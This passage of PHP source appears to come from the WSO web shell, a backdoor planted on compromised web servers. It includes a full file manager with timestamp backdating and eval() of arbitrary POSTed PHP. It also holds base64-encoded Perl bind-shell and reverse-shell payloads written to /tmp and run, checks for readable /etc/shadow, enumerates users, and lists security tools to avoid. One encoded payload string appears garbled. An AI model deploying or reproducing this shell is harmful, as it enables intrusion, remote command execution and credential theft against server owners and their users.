1675        'name',
1676        1
1677    );
1678    if (!empty($_POST['p1'])) {
1679        if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) {
1680            $sort = array(
1681                $match[1],
1682                (int) $match[2]
1683            );
1684        }
1685    }
1686	// Javascript/Forms And Sortable Table
1687	
1688    $sort_option = ($sort[1] ? 0 : 1);
1689    $file_manager_actions = <<<ACT
1690<script>
1691	function sa() {
1692		for(i = 0;i < d.files.elements.length; i++) {
1693			if(d.files.elements[i].type == 'checkbox') {
1694				d.files.elements[i].checked = d.files.elements[0].checked;
1695			}
1696		}
1697	}
1698</script>
1699<table width = '100%' class = 'main' cellspacing = '0' cellpadding = '2'>
1700<form name = 'files' method = 'post'><tr><th width = '13px'>
1701<input type = 'checkbox' onclick = 'sa()' class = 'chkbx'></th>
1702<th><a href = '#' onclick = "g('FilesMan', null, 's_name_$sort_option')">Name</a></th>
1703<th><a href = '#' onclick = "g('FilesMan', null, 's_size_$sort_option')">Size</a></th>
1704<th><a href = '#' onclick = "g('FilesMan', null, 's_modify_$sort_option')">Last Access Time</a></th>
1705<th>Owner/Group</th>
1706<th><a href = '#' onclick = "g('FilesMan', null, 's_perms_$sort_option')">Permissions</a></th>
1707<th>Actions</th>
1708</tr>
1709ACT;
1710// DF
1711echo $file_manager_actions;
1712
1713    $dirs = $files = array();
1714    $n    = count($dirContent);
1715    for ($i = 0; $i < $n; $i++) {
1716        $ow  = @posix_getpwuid(@fileowner($dirContent[$i]));
1717        $gr  = @posix_getgrgid(@filegroup($dirContent[$i]));
1718        $tmp = array(
1719            'name'   => $dirContent[$i],
1720            'path'   => $GLOBALS['cwd'] . $dirContent[$i],
1721            'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
1722            'perms'  => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
1723            'size'   => @filesize($GLOBALS['cwd'] . $dirContent[$i]),
1724            'owner'  => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]),
1725            'group'  => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])
1726        );
1727		// File
1728        if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
1729            $files[] = array_merge($tmp, array(
1730                'type' => 'file'
1731            ));
1732		// Link
1733        } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
1734            $dirs[] = array_merge($tmp, array(
1735                'type' => 'link',
1736                'link' => readlink($tmp['path'])
1737            ));
1738		// Directory
1739        } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) {
1740            $dirs[] = array_merge($tmp, array(
1741                'type' => 'dir'
1742            ));
1743        }
1744    }
1745    $GLOBALS['sort'] = $sort;
1746	
1747	
1748    function wsoCmp($a, $b) {
1749        if ($GLOBALS['sort'][0] != 'size') {
1750            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
1751        } else {
1752            return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
1753        }
1754    }
1755    usort($files, "wsoCmp");
1756    usort($dirs, "wsoCmp");
1757    $files = array_merge($dirs, $files);
1758    $l     = 0;
1759    foreach ($files as $f) {
1760        echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
1761        $l = $l ? 0 : 1;
1762    }
1763	// File Dropdown Quick Options
1764	$quick_dropdown_cwd      = htmlspecialchars($GLOBALS['cwd']);
1765	$quick_dropdown_charset  = (isset($_POST['charset']) ? $_POST['charset'] : '');
1766    echo "
1767	<tr><td colspan = '7'>
1768	<input type = 'hidden' name = 'ne' value = ''>
1769	<input type = 'hidden' name = 'a' value = 'FilesMan'>
1770	<input type = 'hidden' name = 'c' value = '$quick_dropdown_cwd'>
1771	<input type = 'hidden' name = 'charset' value = '$quick_dropdown_charset'>
1772	<select name = 'p1'>
1773	<option value = 'copy'>Copy</option>
1774	<option value = 'move'>Move</option>
1775	<option value = 'delete'>Delete</option>
1776	";
1777	// ZIP Exists
1778    if (class_exists('ZipArchive')) {
1779        echo ("
1780		<option value = 'zip'>Compress (zip)</option>
1781		<option value = 'unzip'>Uncompress (zip)</option>
1782		");
1783	}
1784    echo "<option value = 'tar'>Compress (tar.gz)</option>";
1785    if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
1786        echo "<option value = 'paste'>Paste / Compress</option>";
1787	}
1788	// End Select And Black Space
1789    echo "
1790	</select>
1791	&nbsp;
1792	";
1793	
1794    if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) {
1795		$file_time = date("Ymd_His");
1796		$file_extentsion = ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz');
1797        echo "File Name: <input type = 'text' name = 'p2' value = 'wso_$file_time.$file_extentsion'>"."&nbsp;";
1798	}
1799	
1800    echo "
1801	<input type = 'submit' value = '>>'>
1802	</td></tr></form></table></div>
1803	";
1804	
1805    wsoFooter();
1806}
1807
1808
1809// File Tools
1810function actionFilesTools() {
1811    if (isset($_POST['p1'])) {
1812        $_POST['p1'] = urldecode($_POST['p1']);
1813    }
1814    if (@$_POST['p2'] == 'download') {
1815        if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
1816            ob_start("ob_gzhandler", 4096);
1817			$file_to_download = basename($_POST['p1']);
1818            header("Content-Disposition: attachment; filename=$file_to_download");
1819            if (function_exists('mime_content_type')) {
1820                $type = @mime_content_type($_POST['p1']);
1821                header("Content-Type: $type");
1822            } else {
1823                header('Content-Type: application/octet-stream');
1824            }
1825            $fp = @fopen($_POST['p1'], 'r');
1826            if ($fp) {
1827                while (!@feof($fp)) {
1828                    echo @fread($fp, 1024);
1829                }
1830                fclose($fp);
1831            }
1832        }
1833        exit;
1834    }
1835    if (@$_POST['p2'] == 'mkfile') {
1836        if (!file_exists($_POST['p1'])) {
1837            $fp = @fopen($_POST['p1'], 'w');
1838            if ($fp) {
1839                $_POST['p2'] = 'edit';
1840                fclose($fp);
1841            }
1842        }
1843    }
1844    wsoHeader();
1845    echo "
1846	<h1>File Tools</h1>
1847	<div class = 'content'>
1848	";
1849	
1850    if (!file_exists(@$_POST['p1'])) {
1851        echo (FILE_DOESNT_EXIST);
1852        wsoFooter();
1853        return;
1854    }
1855    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1856    if (!$uid) {
1857        $uid['name'] = @fileowner($_POST['p1']);
1858        $gid['name'] = @filegroup($_POST['p1']);
1859    } else {
1860        $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1861    }
1862    echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
1863    echo '<span>Create Time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access Time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify Time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
1864    if (empty($_POST['p2'])) {
1865        $_POST['p2'] = 'view';
1866    }
1867    if (is_file($_POST['p1'])) {
1868		// File
1869        $m = array(
1870            'View',
1871            'Highlight',
1872            'Download',
1873            'Hexdump',
1874            'Edit',
1875            'Chmod',
1876            'Rename',
1877            'Touch'
1878        );
1879    } else {
1880		// Directory
1881        $m = array(
1882            'Chmod',
1883            'Rename',
1884            'Touch'
1885        );
1886    }
1887    foreach ($m as $v) {
1888	// File Sub Menu Opitions
1889		$file_options_submenu = urlencode($_POST['p1']);
1890		$file_options_submenu_ajax = strtolower($v);
1891		$file_options_submenu_display = ((strtolower($v) == @$_POST['p2']) ? "<b>[ $v ]</b>" : $v);
1892		
1893        echo " <a href = '#' onclick = \"g(null, null, '$file_options_submenu', '$file_options_submenu_ajax')\">$file_options_submenu_display</a> ";
1894    }
1895	
1896	
1897    echo "<br><br>";
1898	// File Actions
1899    switch ($_POST['p2']) {
1900        case 'view': {
1901            echo "<pre class = 'ml1'>";
1902            $fp = @fopen($_POST['p1'], 'r');
1903            if ($fp) {
1904                while (!@feof($fp)) {
1905                    echo htmlspecialchars(@fread($fp, 1024));
1906                }
1907                @fclose($fp);
1908            }
1909            echo "</pre>";
1910            break;
1911		}
1912		// Highlight PHP Source Code
1913        case 'highlight': {
1914            if (@is_readable($_POST['p1'])) {
1915                echo "<div class = 'ml1' style = 'background-color: #e1e1e1;color:black;'>";
1916                $file_contentsode = @highlight_file($_POST['p1'], true);
1917                echo str_replace(array(
1918                    '<span ',
1919                    '</span>'
1920                ), array(
1921                    '<font ',
1922                    '</font>'
1923                ), $file_contentsode) . '</div>';
1924            }
1925            break;
1926		}
1927		// Set File Permissions
1928        case 'chmod': {
1929            if (!empty($_POST['p3'])) {
1930                $perms = 0;
1931                for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
1932                    $perms += (int) $_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
1933                }
1934                if (!@chmod($_POST['p1'], $perms)) {
1935                    echo (CANNOT_SET_PERMISSIONS ."
1936					<br>
1937					<script>document.mf.p3.value = '';</script>
1938					");
1939                }
1940            }
1941            clearstatcache();
1942			// Change File Permissions
1943			$current_file_perms = substr(sprintf('%o', fileperms($_POST['p1'])), -4);
1944			$file_perm_current  = urlencode($_POST['p1']);
1945            echo "
1946			<script>p3_='';</script><form onsubmit = \"g(null,null,'$file_perm_current',null,this.chmod.value);return false;\">
1947			";
1948			// Form
1949			echo "
1950			<input type = 'text' name = 'chmod' value = '$current_file_perms'>
1951			<input type = 'submit' value = 'Change Permissions'>
1952			</form>
1953			";
1954            break;
1955		}
1956        case 'edit': {
1957            if (!is_writable($_POST['p1'])) {
1958                echo (FILE_NOT_WRITABLE);
1959                break;
1960			}
1961            if (!empty($_POST['p3'])) {
1962                $time        = @filemtime($_POST['p1']);
1963                $_POST['p3'] = substr($_POST['p3'], 1);
1964                $fp          = @fopen($_POST['p1'], "w");
1965                if ($fp) {
1966                    @fwrite($fp, $_POST['p3']);
1967                    @fclose($fp);
1968                    echo (FILE_SAVED ."<br><script>p3_ = '';</script>");
1969                    @touch($_POST['p1'], $time, $time);
1970                }
1971            }
1972            echo '<form onsubmit = "g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1973            $fp = @fopen($_POST['p1'], 'r');
1974            if ($fp) {
1975                while (!@feof($fp)) {
1976                    echo htmlspecialchars(@fread($fp, 1024));
1977                }
1978                @fclose($fp);
1979            }
1980            echo "</textarea><input type = 'submit' value = 'Save Changes'></form>";
1981            break;
1982		}
1983        case 'hexdump': {
1984            $file_contents = @file_get_contents($_POST['p1']);
1985            $n             = 0;
1986            $h             = array(
1987                '00000000<br>',
1988                '',
1989                ''
1990            );
1991            $len           = strlen($file_contents);
1992            for ($i = 0; $i < $len; ++$i) {
1993                $h[1] .= sprintf('%02X', ord($file_contents[$i])) . ' ';
1994                switch (ord($file_contents[$i])) {
1995                    case 0: {
1996                        $h[2] .= ' ';
1997                        break;
1998					}
1999                    case 9: {
2000                        $h[2] .= ' ';
2001                        break;
2002					}
2003                    case 10: {
2004                        $h[2] .= ' ';
2005                        break;
2006					}
2007                    case 13: {
2008                        $h[2] .= ' ';
2009                        break;
2010					}
2011                    default: {
2012                        $h[2] .= $file_contents[$i];
2013                        break;
2014					}
2015                }
2016                $n++;
2017                if ($n == 32) {
2018                    $n = 0;
2019                    if ($i + 1 < $len) {
2020                        $h[0] .= sprintf('%08X', $i + 1) . '<br>';
2021                    }
2022                    $h[1] .= '<br>';
2023                    $h[2] .= "\n";
2024                }
2025            }
2026			
2027			// Hexdump Table Variables
2028			$table_one   = $h[0];
2029			$table_two   = $h[1];
2030			$table_three = htmlspecialchars($h[2]);
2031			// Hexdump Table
2032            echo ("
2033			<table cellspacing = '1' cellpadding = '5' bgcolor = '#222222'>
2034			<tr>
2035			<td bgcolor = '#333333'>
2036			<span style = 'font-weight: normal;'>
2037			<pre>$table_one</pre>
2038			</span>
2039			</td>
2040			<td bgcolor = '#282828'>
2041			<pre>$table_two</pre>
2042			</td>
2043			<td bgcolor = '#333333'>
2044			<pre>$table_three</pre>
2045			</td>
2046			</tr>
2047			</table>
2048			");
2049            break;
2050		}
2051		// Rename File
2052        case 'rename': {
2053            if (!empty($_POST['p3'])) {
2054                if (!@rename($_POST['p1'], $_POST['p3'])) {
2055                    echo (CANNOT_RENAME_FILE ."<br>");
2056                } else {
2057					$rename_error = urlencode($_POST['p3']);
2058                    die("<script>g(null, null, '$rename_error', null, '')</script>");
2059                }
2060            }
2061			$rename_button = htmlspecialchars($_POST['p1']);
2062            echo '<form onsubmit = "g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value = "Rename File"></form>';
2063            break;
2064		}
2065		// Changing Last Access Time
2066        case 'touch': {
2067            if (!empty($_POST['p3'])) {
2068                $time = strtotime($_POST['p3']);
2069                if ($time) {
2070                    if (!touch($_POST['p1'], $time, $time)) {
2071						// Failure
2072                        echo 'Access Time Change Failed!';
2073                    } else {
2074						// Success
2075                        echo 'Last Access Time Changed!';
2076                    }
2077                } else {
2078					// Bad Time Format
2079                    echo 'Bad Time Format!';
2080                }
2081            }
2082            clearstatcache();
2083			// Time Change Form Variables
2084			$time_change_ajax = urlencode($_POST['p1']);
2085			$current_time_file = date("Y-m-d H:i:s", @filemtime($_POST['p1']));
2086			// Time Change Form
2087            $time_change_form = <<<TIME_CHANGE
2088			<script>p3_ = '';</script>
2089			<form onsubmit = "g(null, null, '$time_change_ajax', null, this.touch.value);return false;">
2090			<input type = 'text' name = 'touch' value = '$current_time_file'>
2091			<input type = 'submit' value = 'Change Access Time'>
2092			</form>
2093TIME_CHANGE;
2094		// Output The Form
2095		echo $time_change_form;
2096            break;
2097		}
2098    }
2099    echo '</div>';
2100    wsoFooter();
2101}
2102 
2103// Network Tools
2104function actionNetwork() {
2105	wsoHeader();
2106	$server_address = $_SERVER['REMOTE_ADDR'];
2107	$back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJcreate_filecbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2108	$bind_port_p    = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2109	// Form
2110	echo ("
2111	<h1>Network Tools</h1>
2112	<div class = 'content'>
2113	<form name = 'nfp' onSubmit = \"g(null,null,'bpp',this.port.value);return false;\">
2114	<span>Bind Port To /bin/sh [perl]</span><br/>
2115	Port: <input type = 'text' name = 'port' value = '31337'> <input type = 'submit' value = '>>'>
2116	</form>
2117	<form name = 'nfp' onSubmit = \"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
2118	<span>Back-Connect  [perl]</span><br/>
2119	Server: <input type = 'text' name = 'server' value = '$server_address'>
2120	<br>
2121	Port: <input type = 'text' name = 'port' value = '31337'> <input type = 'submit' value = '>>'>
2122	</form>
2123	<br>
2124	");
2125	// Form Processing
2126	if(isset($_POST['p1'])) {
2127	// Create A File
2128		function create_file($file_name, $file_content) {
2129			$open_file = @fopen($file_name,"w") or @function_exists('file_put_contents');
2130			if($open_file) {
2131				@fwrite($open_file, @base64_decode($file_content));
2132				@fclose($open_file);
2133			}
2134		}
2135		if($_POST['p1'] == 'bpp') {
2136			create_file("/tmp/bp.pl", $bind_port_p);
2137			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
2138            sleep(1);
2139			echo "<pre class = 'ml1'>$out"."\n".wsoEx("ps aux | grep bp.pl")."</pre>";
2140            unlink("/tmp/bp.pl");
2141		}
2142		if($_POST['p1'] == 'bcp') {
2143			create_file("/tmp/bc.pl", $back_connect_p);
2144			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
2145            sleep(1);
2146			echo "<pre class = 'ml1'>$out"."\n".wsoEx("ps aux | grep bc.pl")."</pre>";
2147            unlink("/tmp/bc.pl");
2148		}
2149	}
2150	echo '</div>';
2151	wsoFooter();
2152} 
2153function actionPhp() {
2154	if(isset($_POST['ajax'])) {
2155        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
2156		ob_start();
2157		eval($_POST['p1']);
2158		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
2159		echo strlen($temp), "\n", $temp;
2160		exit;
2161	}
2162	
2163    if(empty($_POST['ajax']) && !empty($_POST['p1'])) {
2164        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
2165	}
2166	wsoHeader();
2167	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
2168	
2169		echo "
2170		<h1>PHP Info</h1><div class = 'content'>
2171		<style>.p {color:#000;}</style>
2172		";
2173		
2174		ob_start();
2175		phpinfo();
2176		$tmp = ob_get_clean();
2177        $tmp = preg_replace(array(
2178            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
2179            '!td, th {(.*)}!msiU',
2180            '!<img[^>]+>!msiU',
2181        ), array (
2182            '',
2183            '.e, .v, .h, .h th {$1}',
2184            ''
2185        ), $tmp);
2186		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
2187	}
2188    echo '<h1>Execution PHP-Code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
2189	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> Send Using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
2190	if(!empty($_POST['p1'])) {
2191		ob_start();
2192		eval($_POST['p1']);
2193		echo htmlspecialchars(ob_get_clean());
2194	}
2195	echo '</pre></div>';
2196	wsoFooter();
2197} function actionSecInfo() {
2198	wsoHeader();
2199	// Heading
2200	echo "
2201	<h1>Server Security Information</h1>
2202	<div class = 'content'>
2203	";
2204	
2205	function wsoSecParam($text, $v) {
2206		$v = trim($v);
2207		$text = trim($text);
2208		if($v) {
2209			echo "<span> $text: </span>";
2210			if(strpos($v, "\n") === false) {
2211				echo ("$v <br>");
2212			} else {
2213				echo "<pre class = 'ml1'>$v</pre>";
2214			}
2215		}
2216	}
2217
2218	wsoSecParam('Server Software', @getenv('SERVER_SOFTWARE'));
2219    if(function_exists('apache_get_modules')) {
2220        wsoSecParam('Loaded Apache Modules', implode(', ', apache_get_modules()));
2221	}
2222	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
2223	wsoSecParam('Open Base Dir', @ini_get('open_basedir'));
2224	wsoSecParam('Safe Mode Exec Dir', @ini_get('safe_mode_exec_dir'));
2225	wsoSecParam('Safe Mode Include dir', @ini_get('safe_mode_include_dir'));
2226	wsoSecParam('cURL Support', function_exists('curl_version') ? 'Enabled':'Disabled');
2227	$temp = array();
2228	if(function_exists('mysql_get_client_info')) {
2229		$mysql_info = mysql_get_client_info();
2230		$temp[] = ("MySql [$mysql_info]");
2231	}
2232	if(function_exists('mssql_connect')) {
2233		$temp[] = 'MSSQL';
2234	}
2235	if(function_exists('pg_connect')) {
2236		$temp[] = 'PostgreSQL';
2237	}
2238	if(function_exists('oci_connect')) {
2239		$temp[] = 'Oracle';
2240	}
2241	wsoSecParam('Supported Databases', implode(', ', $temp));
2242	echo '<br>';
2243
2244	if($GLOBALS['os'] == 'nix') {
2245            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "Yes <a href = '#' onclick = 'g(\"FilesTools\", \"/etc/\", \"passwd\")'>[View]</a>" : 'Not Readable');
2246            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "Yes <a href = '#' onclick = 'g(\"FilesTools\", \"/etc/\", \"shadow\")'>[View]</a>" : 'Not Readable');
2247            wsoSecParam('OS Version',  @file_get_contents('/proc/version'));
2248            wsoSecParam('Distro Name', @file_get_contents('/etc/issue.net'));
2249            if(!$GLOBALS['safe_mode']) {
2250                $useful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
2251                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
2252                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
2253                echo '<br>';
2254				// Useful
2255                $temp = array();
2256                foreach ($useful as $item) {
2257                    if(wsoWhich($item)) {
2258                        $temp[] = $item;
2259					}
2260                wsoSecParam('Useful', implode(', ',$temp));
2261				}
2262				
2263				// Danger
2264                $temp = array();
2265                foreach ($danger as $item) {
2266                    if(wsoWhich($item)) {
2267                        $temp[] = $item;
2268					}
2269                wsoSecParam('Danger', implode(', ',$temp));
2270				}
2271				
2272				// Downloaders
2273                $temp = array();
2274                foreach ($downloaders as $item) {
2275                    if(wsoWhich($item)) {
2276                        $temp[] = $item;
2277					}
2278                wsoSecParam('Downloaders', implode(', ',$temp));
2279				}
2280                echo '<br/>';
2281				
2282				wsoSecParam('Hosts',         @file_get_contents('/etc/hosts'));
2283                wsoSecParam('HDD Space',     wsoEx('df -h'));
2284				wsoSecParam('Mount Options', @file_get_contents('/etc/fstab'));
2285				
2286                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit = \'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
2287                if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
2288                    $temp = "";
2289                    for(;$_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
2290                        $uid = @posix_getpwuid($_POST['p2']);
2291                        if ($uid) {
2292                            $temp .= join(':',$uid)."\n";
2293						}
2294                    }
2295                    echo '<br/>';
2296                    wsoSecParam('Users', $temp);
2297                }
2298            }
2299	} else {
2300		wsoSecParam('OS Version',wsoEx('ver'));
2301		wsoSecParam('Account Settings', wsoEx('net accounts'));
2302		wsoSecParam('User Accounts', wsoEx('net user'));
2303	}
2304	echo '</div>';
2305	wsoFooter();
2306} 
2307
2308function actionSql() {
2309	class DbClass {
2310		var $type;
2311		var $link;
2312		var $res;
2313		function DbClass($type)	{
2314			$this->type = $type;
2315		}
2316		function connect($host, $user, $pass, $dbname) {
2317			switch($this->type)	{
2318				case 'mysql':
2319					if($this->link = @mysql_connect($host,$user,$pass,true)) {
2320						return true;
2321					}
2322					break;
2323				case 'pgsql':
2324					$host = explode(':', $host);
2325					if(!$host[1]) {
2326						$host[1] = 5432;
2327					}
2328					if($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) {
2329						return true;
2330					}
2331					break;
2332			}
2333			return false;
2334		}
2335		function selectdb($db) {
2336			switch($this->type)	{
2337				case 'mysql' : 
2338					if (@mysql_select_db($db)) {
2339						return true;
2340					}
2341					break;
2342				
2343			}
2344			return false;
2345		}
2346		function query($str) {
2347			switch($this->type) {
2348				case 'mysql':
2349					return $this->res = @mysql_query($str);
2350					break;
2351				case 'pgsql':
2352					return $this->res = @pg_query($this->link,$str);
2353					break;
2354			}
2355			return false;
2356		}
2357		function fetch() {
2358			$res = func_num_args() ? func_get_arg(0):$this->res;
2359			switch($this->type)	{
2360				case 'mysql':
2361					return @mysql_fetch_assoc($res);
2362					break;
2363				case 'pgsql':
2364					return @pg_fetch_assoc($res);
2365					break;
2366			}
2367			return false;
2368		}
2369		function listDbs() {
2370			switch($this->type)	{
2371				case 'mysql':
2372                        return $this->query("SHOW databases");
2373				break;
2374				case 'pgsql':
2375					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
2376				break;
2377			}
2378			return false;
2379		}
2380		function listTables() {
2381			switch($this->type)	{
2382				case 'mysql':
2383					return $this->res = $this->query('SHOW TABLES');
2384				break;
2385				case 'pgsql':
2386					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
2387				break;
2388			}
2389			return false;
2390		}
2391		function error() {
2392			switch($this->type)	{
2393				case 'mysql':
2394					return @mysql_error();
2395				break;
2396				case 'pgsql':
2397					return @pg_last_error();
2398				break;
2399			}
2400			return false;
2401		}
2402		function setCharset($str) {
2403			switch($this->type)	{
2404				case 'mysql':
2405					if(function_exists('mysql_set_charset')) {
2406						return @mysql_set_charset($str, $this->link);
2407					} else {
2408						$this->query("SET CHARSET $str");
2409					}
2410					break;
2411				case 'pgsql':
2412					return @pg_set_client_encoding($this->link, $str);
2413					break;
2414			}
2415			return false;
2416		}
2417		function loadFile($str) {
2418			switch($this->type)	{
2419				case 'mysql':
2420					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
2421				break;
2422				case 'pgsql':
2423					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
2424					$r = array();
2425					while($i = $this->fetch()) {
2426						$r[] = $i['file'];
2427					}
2428					$this->query('drop table wso2');
2429					return array('file' => implode("\n", $r));
2430				break;
2431			}
2432			return false;
2433		}
2434		function dump($table, $fp = false) {
2435			switch($this->type)	{
